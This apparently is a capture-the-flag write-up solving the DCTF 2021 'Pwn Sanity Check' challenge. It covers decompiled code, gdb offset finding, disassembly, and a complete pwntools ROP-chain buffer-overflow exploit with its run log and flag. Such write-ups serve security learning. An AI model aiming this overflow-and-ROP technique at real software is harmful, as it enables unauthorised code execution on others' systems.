Pwn Sanity Check
Function vuln calls shell, which was not going to spawn a shell, but win function would. vuln took 0x100 bytes of input, but local_48 can only take 60, overflow it then call win shall bring a shell.
void vuln(void)
{
char local_48 [60];
int local_c;
puts("tell me a joke");
fgets(local_48,0x100,stdin);
if (local_c == -0x21523f22) {
puts("very good, here is a shell for you. ");
shell();
}
else {
puts("will this work?");
}
return;
}
void shell(void)
{
puts("spawning /bin/sh process");
puts("wush!");
printf("$> ");
puts("If this is not good enough, you will just have to try harder :)");
return;
}
void win(int param_1,int param_2)
{
puts("you made it to win land, no free handouts this time, try harder");
if (param_1 == -0x21524111) {
puts("one down, one to go!");
if (param_2 == 0x1337c0de) {
puts("2/2 bro good job");
system("/bin/sh");
/* WARNING: Subroutine does not return */
exit(0);
}
}
return;
}
Find The Padding
Run in gdb, input a precreated 100 bytes pattern to overflow the array,
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
[+] Saved as '$_gef0'
gef➤ r
Starting program: /home/zex/lab_ex/hacking-lab/dctf-2021/pwn-sanity-check/pwn_sanity_check
tell me a joke
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
will this work?
Program received signal SIGSEGV, Segmentation fault.
...
Checked out rip for the address, searched the patten, the offset was likely to be 72, so 72 bytes padding might be needed.
gef➤ info frame
Stack level 0, frame at 0x7fffffffda98:
rip = 0x40078b in vuln; saved rip = 0x616161616161616a
called by frame at 0x7fffffffdaa8
Arglist at 0x6161616161616169, args:
Locals at 0x6161616161616169, Previous frame's sp is 0x7fffffffdaa0
Saved registers:
rip at 0x7fffffffda98
gef➤ pattern search 0x616161616161616a
[+] Searching '0x616161616161616a'
[+] Found at offset 72 (little-endian search) likely
[+] Found at offset 65 (big-endian search)
Pass The Parameters
Took a look into the asm code from objdump, win used edi for the first parameter and esi for the second one, they were supposed to be 0xdeadbeef and 0x1337c0de, respectively.
0000000000400697 <win>:
400697: 55 push %rbp
400698: 48 89 e5 mov %rsp,%rbp
40069b: 48 83 ec 10 sub $0x10,%rsp
40069f: 89 7d fc mov %edi,-0x4(%rbp)
4006a2: 89 75 f8 mov %esi,-0x8(%rbp)
4006a5: 48 8d 3d 8c 01 00 00 lea 0x18c(%rip),%rdi # 400838 <_IO_stdin_used+0x8>
4006ac: e8 9f fe ff ff callq 400550 <puts@plt>
4006b1: 81 7d fc ef be ad de cmpl $0xdeadbeef,-0x4(%rbp)
4006b8: 75 37 jne 4006f1 <win+0x5a>
4006ba: 48 8d 3d b7 01 00 00 lea 0x1b7(%rip),%rdi # 400878 <_IO_stdin_used+0x48>
4006c1: e8 8a fe ff ff callq 400550 <puts@plt>
4006c6: 81 7d f8 de c0 37 13 cmpl $0x1337c0de,-0x8(%rbp)
4006cd: 75 22 jne 4006f1 <win+0x5a>
4006cf: 48 8d 3d b7 01 00 00 lea 0x1b7(%rip),%rdi # 40088d <_IO_stdin_used+0x5d>
4006d6: e8 75 fe ff ff callq 400550 <puts@plt>
4006db: 48 8d 3d bc 01 00 00 lea 0x1bc(%rip),%rdi # 40089e <_IO_stdin_used+0x6e>
4006e2: e8 79 fe ff ff callq 400560 <system@plt>
4006e7: bf 00 00 00 00 mov $0x0,%edi
4006ec: e8 af fe ff ff callq 4005a0 <exit@plt>
4006f1: 90 nop
4006f2: c9 leaveq
4006f3: c3 retq
To pass the parameters, gadgets can be handy. Gadget ‘pop rsi; ret;’ wasn’t found, but ‘pop rsi; pop r15; ret;’ also work.
Used pwn.ROP in python.
pop_rdi = pwn.p64(rop.find_gadget(['pop rdi', 'ret']).address)
pop_rsi = pwn.p64(rop.find_gadget(['pop rsi', 'pop r15', 'ret']).address)
Cat Flag.txt
Combined them all, the payload was created as below.
payload = b"A"*72
payload += pop_rdi
payload += pwn.p64(0xdeadbeef)
payload += pop_rsi
payload += pwn.p64(0x1337c0de)
payload += pwn.p64(0x1337c0de)
payload += pwn.p64(elf.sym['win'])
Cat the flag once pwned. Complete exploit is here.
print(payload, len(payload))
pr.sendafter("joke\n", payload)
pr.sendline()
pr.sendline("cat flag.txt")
print(pr.readall(2))
$ python3 exploit.py
[+] Opening connection to dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io on port 7480: Done
[*] '/home/zex/lab_ex/hacking-lab/dctf-2021/pwn-sanity-check/pwn_sanity_check'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 14 cached gadgets for 'pwn_sanity_check'
b'\x13\x08@\x00\x00\x00\x00\x00'
b'\x11\x08@\x00\x00\x00\x00\x00'
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x13\x08@\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x11\x08@\x00\x00\x00\x00\x00\xde\xc07\x13\x00\x00\x00\x00\xde\xc07\x13\x00\x00\x00\x00\x97\x06@\x00\x00\x00\x00\x00' 120
[+] Receiving all data: Done (137B)
[*] Closed connection to dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io port 7480
b'will this work?\nyou made it to win land, no free handouts this time, try harder\none down, one to go!\n2/2 bro good job\ndctf{Ju5t_m0v3_0n}\n'